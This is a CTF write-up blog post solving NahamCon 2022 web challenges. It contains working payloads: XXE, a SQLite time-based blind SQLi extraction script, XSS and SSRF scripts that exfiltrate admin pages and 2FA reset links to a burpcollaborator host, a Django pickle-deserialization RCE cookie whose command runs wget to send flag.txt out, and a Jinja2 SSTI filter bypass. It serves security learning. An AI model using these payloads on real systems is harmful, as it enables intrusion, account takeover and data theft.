NahamConCTF — Web Challenges

Shellbr3ak
18 min readMay 2, 2022

--

What’s going on hackers, this is Shellbr3ak back again with another CTF write up. Today I’ll be showing how I managed to solve 7 out of 8 web challenges in NahamconCTF. So, without much talking, let’s go.

Personnel

Visiting the challenge’s URL, we get the following page

We are also given a python file which is the challenge’s source code.

It seems like a simple code that runs upon sending a request to the endpoint / either using GET or POST method. So, let’s try submitting a request to see how the app responds.

Sending “shellbreak” as a name returns nothing in the response.

Let’s focus on the 27th line of the code above. It uses re.findall() method to search for matches in the name we submit in our request. Notice that the name parameter’s value is embedded into the pattern the regex uses to filter out the results.

Injecting a * returned an error as follows:

The pattern was [A-Z][a-z]*?*[a-z]*?\n . Given that the injected * is placed after ? mark, it’s normal to get the error we got in the response shown in the figure above. But if we can inject into a regex, then we have the chance of telling the findall() method to return all the results at once including the flag. Using .* ;)

It did return a lot of results, but our flag is not in the result. After googling about the setting parameter in the code re.findall(r”[A-Z][a-z]*?” + name + r”[a-z]*?\n”, users, setting)

I found this resource:

https://blog.finxter.com/python-regex-flags/

the setting value is a flag that modifies the standard behavior of the pattern. If you notice the results, they all start with a capital letter, but our flag starts with a small letter, right?

So, in order to get the flag, we need to tell the pattern to ignore the case of the characters in the users string. Note that re.I means ignore case, but since the code only accepts numerical values, we need to give re.I as 2 .

(re.I has the integer value 2.)

And we got our flag :)

EXtravagant

According to the description, I knew that the vulnerability here would be External Entity Injection.

Visiting the challenge’s URL leads us to this page:

The challenge has 2 functionalities. One for uploading files, and another one to read files.

Sending the following request to the /upload endpoint.

We get this response

Please not that changing the Content-Type header while uploading the malicious upload to application/xml is mandatory.

Now using the endpoint of reading files,

Indeed, we managed to read /etc/passwd file, now let’s see if we can fetch the flag.

In the challenge description, there’s a note saying that the flag is stored in the directory /var/www .

Uploading the following file:

Now it’s time to read the file:

And indeed, we got it. Pretty simple isn’t it :)

Jurassic Park

In the challenge description, we don’t see any interesting notes about what the app really is, and visiting the given URL lands us at this page:

Although this was a super easy challenge, it was a good reminder that sometimes, even the simplest and smallest piece of information can be useful to find a more critical vuln.

With a simple recon, we find that robots.txt file exists, and it has a weird entry.

So, let’s go to /ingen/ and see what it has for us.

we have a page with Directory Listing vulnerability, and it has our flag. At this point, it’s pretty obvious that clicking on the flag.txt link will give us the flag.

Now that the easy challenges are done, it’s time we move to the next medium level challenge. So, let’s move on, shell we? :)

Flaskmetal Alchemist

In the challenge description , we have 3 notes to consider:

  1. The app’s main function is a search function (SQLi is first candidate here)
  2. The flag follows the pattern of flag{[a-z]+_[a-z]+_[a-z]+} .
  3. The fma.zip file.

So, let’s download the zip file and see what’s in it.

We are given 4 python scripts which form the application’s source code.

I’m not going to paste other scripts’ screenshot here, as this is the one we need to focus on. But there’s another interesting file other than the python ones.

requirements.txt

Me, and a lot of people in the CTF (I have personally met some of them), got stuck in the rabbit hole of trying to fuzz and exploit the search parameter, but that wasn’t the case for this challenge. Given that the DB related functions are defined in SQLAlchemy library, and the fact that requirements.txt has the version of the library to download when we use pip3 install -r requirements.txt got me thinking of googling this specific version.

And, I found this page:

https://www.sourceclear.com/vulnerability-database/security/sql-injection/python/sid-13362

Remember from the code that we have the option to control the value of order_by ‘s value, right?

But, to be honest, this challenge wasn’t that easy for me, I had to google for 3 hours to come up with a working PoC.

1 AND (case when substr((select flag from flag),1,1)=”f” then 1=randomblob(200000000) else 1=randomblob(10000) end)

I knew about the flag table and flag column from the models.py script

The hard thing here was finding a way to cause a time delay as SQLite doesn’t have a built-in sleep function like sleep() in MySQL or waitfor delay in MSSQL.

So, the PoC takes advantage of the function randomblob() that will generate a random byte string with a length specified as an integer parameter. We generate 200000000 bytes which will cause a time delay of approximately 4 seconds in case the condition returns true, and 10000 bytes in case it returns false, which won’t cause any time delays.

Submitting a regular request like:

returned this response:

Now, let’s inject our payload in order parameter.

Please note that I’m writing this write up after the CTF ended, and I had to change the number of the generated byte string while redoing the challenge due to stability issues.

Sending the following request to verify that the 5th character of the flag is { (which will confirm that our payload is working).

Let’s submit another request and see if the time delay is going to happen, but this time, we will trigger a false condition.

We see that the response took less than a second to return, which means the 5th character is indeed { and our injected payload is working like a charm.

I created this script to automate the attack, and eventually got the flag.

#!/usr/bin/env python3import requests
import string
import time
chars = ‘_}abcdefghijklmnopqrstuvwxyz’url = ‘http://challenge.nahamcon.com:30107/'
headers = {
‘Content-Type’: ‘application/x-www-form-urlencoded’
}
flag = “flag{“
proxy = {
‘http’: ‘http://10.23.58.1:8080'
}
for i in range(6, 21):
for char in chars:
data = f’search=fl&order=1 AND (case when substr((select flag from flag),{str(i)},1)=”{char}” then 1=randomblob(500000000/4) else 1=randomblob(10000) end)’
req = requests.post(url, data=data, headers=headers, proxies=proxy, timeout=10)
if int(req.elapsed.total_seconds()) >= 3:
flag += char
print(f”[+] Valid Character Found: {char}\nResponse time: “ + str(int(req.elapsed.total_seconds())))
#the flag is 20 chars long
print(“[+] Flag extracted: “ + flag)

And here’s the result:

We got the flag :)

Now to the fun part, the most amazing part of the CTF, the hard level challenges. (A HUGE shout out to the creator of these challenges, Congon4tor ). This guy is more than amazing at what he does. And personally, I’m going to start participating every CTF he creates challenges for, becuase he focuses on creating hard but realistic scenarios (No overCTFish stuff at all).

Starting off with the first hard challenge I managed to solve

Hacker Ts

This challenge kept me thinking for almost 4 hrs till I figured out the real vulnerability.

We have a simple input box in which we can type a command to be printed on a T-shirt, and an inaccessible admin page.

The error page gives us a hint that the admin page is accessible through the localhost interface only, so the attack has to be some kind of server side request forgery ;)

At first, seeing that “Command” placeholder got me thinking that it might be an OS Command Injection vulnerability so I kept fuzzing for a couple of hours and didn’t get anything. Eventually, I was like, “hey, it’s reflecting whatever I’m typing in the parameter text what if I can inject HTML into this?”.

But examining the response in burpsuite, gives something kind of weird.

The content in which our payload takes place is an image, so it’s kind of separated document.

Here’s how I figured it out:

<plaintext> tag

You see?

The <plaintext> tag has only shown the content of the inner document (the one form which the image was created).

Let’s use an <iframe> tag and submit a request to burpcollaborator to see if we can get some data from the User-agent .

The request was caught by burpcollaborator looks like this:

Notice that wkhtmltoimage is being used here, which is a command-line utility to convert html documents to image (there’s another version to convert HTML to PDF). Our input was embedded into the HTML document so there was no chance at achieving OS Command Injection in this case.

But now it’s kind of obvious that we need to do something to access the admin page.

Also note that, although the <iframe> tag submitted a GET request from our browser, the IP that has submitted the request is not my public IP.

Let’s try to point the source of the iframe to the admin page.

We got this error. And OMG this drove me crazy for hours. I wasn’t sure where the error is coming from. so I tried using different websites.

Nothing gotten from google.com . Also note that it didn’t framed the response sent back from burpcollaborator. So, at this point, I used a domain that I can’t mention here in the write up, but you just need to know that I got a similar error to when I injected the admin page’s URL. But it gave me a hint that the error is thrown because of the rendered content’s encoding. And I immediately thought of injecting a JS code that will read the admin page’s content and send the response to my server (But there has to be a CORS issue in order for this exploit to work).

<script>
var req = new XMLHttpRequest();
req.open(“GET”, “http://localhost:5000/admin", true);
req.onreadystatechange = exfil;
req.send();
function exfil(){
location = “http://zdg8qpo8j2mvfca9lh6jx7dzkqqie7.burpcollaborator.net/?resp=" + encodeURIComponent(req.responseText);
};
</script>

Response:

Request submitted to burpcollaborator:

Decoding the resp parameter’s value gives:

And indeed, the CORS issue exists and we managed to fetch the response, got the flag.

Now to the next challenge (which was the coolest for me).

Poller

We have 2 pages as seen in the figure above, one for Log In and one for Sign Up.

Upon registring an account and logging in, we got some infosec related questions.

And each question has multiple choices.

In this challenge, I thought of 2 scenarios at the beginning (2nd order SQLi or SSTI) given that the user name is rendered as follows:

but that wasn’t the case.

However, if we look at the source page, we see a comment containing a github link to the challenges source code.

Since it’s pretty obvious that this is a Django project, and given that there’s a commit saying rotated SECRET_KEY it was fair to look through the commits history.

And indeed I found this key:

Googling about SECRET_KEY in web frameworks leads to a known deserialization vulnerability, where the attacker can use the secret key to sign a malicious serialized object and achieve code execution.

I have found a similar vuln in bug bounty but it was flagged as duplicated, and the bounty was 10k $ :(

Anyways, I spent about 10 hours reading Django docs to set up an environment so I can craft a serialized object and sign it with the key I found, but that didn’t work. WHY? because the key was wrong :)

I spent hours bashing my head against the wall trying to find out what’s going wrong. And I figured that I was using the wrong key :smiling_face_with_tear:

Looking through the code repo again, I found this file.

The rabbit hole in this challenge, was the that creator got our attention focused on commits before the key has been rotated, while the right key is leaked after the old key got rotated :)

So after finding the new key, and googling for hours to set up the right environment and reading write ups about similar vulns, I found this

https://systemoverlord.com/2014/04/14/plaidctf-2014-reekeeeee/

So, it was obvious that this is the exploit we’ll need to use to craft a signed malicious cookie.

import os
import subprocess
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer
import sys
import requests
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (
(“”” python -c ‘import os;os.system(“wget http://9x7m994nkzrws6774697m1quyl4cs1.burpcollaborator.net/$(cat flag.txt)”);’ “””),
0, # Bufsize
None, # exec
None, #stdin
None, #stdout
None, #stderr
None, #preexec
False, #close_fds
True, # shell
))
print(signing.dumps(Exploit(),
salt=’django.contrib.sessions.backends.signed_cookies’,
serializer=PickleSerializer,
compress=True,
key=’77m6p#v&(wk_s2+n5na-bqe!m)^zu)9typ#0c&@qd%8o6!’))

Note that the . in the beginning means the generated cookie is compressed.

Submitting a request with the crafted cookie in session_id

And we got the flag sent to burpcollaborator. :)

I might made the write up for this challenge short, but it took me 10 hours of googling and researching and reading Django docs to solve it 😅

Now to the next challenge.

Two For One

For me, this challenge was really fun, but it wasn’t hard at all. In fact, I think Flaskmetal Alchemist was harder than this one.

Anyways, visiting the link given in the description leads us to:

We have a sign up and sign in fuctions, while registering an account, we have to set a TOTP using google authenticator.

You can use this extension to solve the challenge:

https://addons.mozilla.org/en-US/firefox/addon/auth-helper/

After entering the username and password, we are given this QR code from which we will be generating TOTP (Time-based OTP)

Now let’s log in.

We have a function to add a secret

Visiting the settings page:

http://challenge.nahamcon.com:30115/settings

Now, I will be honest, the moment I saw these functions all together, it took me a few seconds to realize that the feedback from might have an XSS vulnerability that I will be using to exfiltrate the OTP reset link, so I can change the password of the user who’s going to get infected by the XSS payload.

Let’s get started.

The XSS in this case is blind, so the only way to verify that is by injecting tags like <img> or <iframe> or <script src='http://attacker.com/xss.js'> to confirm that script tags are allowed.

And indeed we got a callback

Now, let’s see how OTP reset function works, so we can steal the admin’s link.

Sending the request from burpsuite gives the following response.

So this is the URL we’ll be stealing from the admin using that blind XSS vuln we discovered in the feedback submission form.

<script>
var req = new XMLHttpRequest();
var url = 'http://challenge.nahamcon.com:30115/reset2fa';
req.open('POST',
url, true);
req.withCredentials = true;
req.onreadystatechange = exfil;
req.setRequestHeader('Content-Type', 'application/json');
req.send(null);
function exfil(){
var attacker = 'http://tlihmptf6rke1aspcnxfwy5m7dd51u.burpcollaborator.net/?url=';
var send = new XMLHttpRequest();
send.open('GET',attacker + encodeURIComponent(req.responseText),true);
send.send(null);
}
</script>

Submitting the above script as shown in the figure will fetches the reset URL and redirects the victim to our burpcollaborator instance with the reset link.

And we got the OTP reset link:

We see from the exfiltrated URL, that the username is indeed admin and we have the secret and issuer name. Now we can add this information to generate OTP for the admin user.

Now, we have admin OTP, let’s use it with the XSS vuln to reset the password and achieve full account takeover.

Password reset request looks like this:

Now we need to change the script we used in the XSS to submit a request to /reset_password endpoint on behalf of the admin user.

<script>
var req = new XMLHttpRequest();
var url = ‘http://challenge.nahamcon.com:30115/reset_password';
req.open('POST',
url, true);
req.withCredentials = true;
req.onreadystatechange = exfil;
req.setRequestHeader(‘Content-Type’, ‘application/json’);
req.send(JSON.stringify({\”otp\”:\”123456\”,\”password\”:\”password\”,\”password2\”:\”password\”}));
function exfil(){
var attacker = ‘http://tlihmptf6rke1aspcnxfwy5m7dd51u.burpcollaborator.net/?url=';
var send = new XMLHttpRequest();
send.open(‘GET’,attacker + encodeURIComponent(req.responseText),true);
send.send(null);
}
</script>

We got a success message indicating that the admin’s password has been successfully reset to password .

Now, let’s log in and retrieve the flag, shall we :)

In order to view the secrets, we need to provide another OTP.

And that’s it. So far these are all the challenges I managed to solve on my own.

I couldn’t solve the DeafCon one, but I was very interesting in it, and I contacted the creator Congon4tor and took the solution after the CTF ended.

But I will add it to the write up because the solution was super amazing.

DeafCon

Submitting a normal request will generate a PDF file with the data we enter.

I downloaded the PDF file and looked into the metadata using exiftool and this is what I got

The PDF is generated using wkhtmltopdf 0.12.5 which is vulnerable to SSRF. And given that we solved a similar challenge I thought of SSRF to local file read scenario, but I was wrong. The vuln here was SSTI in Jinja2 template engine.

See how {{7*7}} got interpreted, and the app printed 49 in the email.

Now, the point in this challenge is that () are blocked, and at this point I started googling how to call functions in python without using parentheses, but that’s impossible. I tried all encoding methods I know but none of them worked. But Congon4tor gave me a very interesting site. It has different encodings of parantheses, and one of them was not blacklisted.

This is the response we get when we submit a request with regular parentheses.

shellbreak{{request.application.__globals__.__builtins__.__import__(‘os’).popen(‘cat${IFS}flag.txt’).read()}}@gmail.com

Here’s the website that Confon4tor gave to me:

https://unicode-table.com/en/sets/brackets/

It has various shapes of parentheses, and it is amazing that some of them are interpreted by programming languages as regular parentheses that are used for function invokation.

In our case U+FE69 U+FE5A are the ones we are going to be using.

Notice how these parentheses are different from the ones we used before, in this case, there seem to be a space before and after the ( and ) but in fact, there isn’t any whitespaces, it’s just how the character is rendered.

And here’s our flag:

So, that was the write up, I hope you guys enjoyed it.

Take care :)

--

--

Shellbr3ak

Offensive Security Engineer | Threat Intelligence Analyst | Cloud/Web App Penetration Tester | CTIA | eWPTXv2 | OSWE | CTF Lover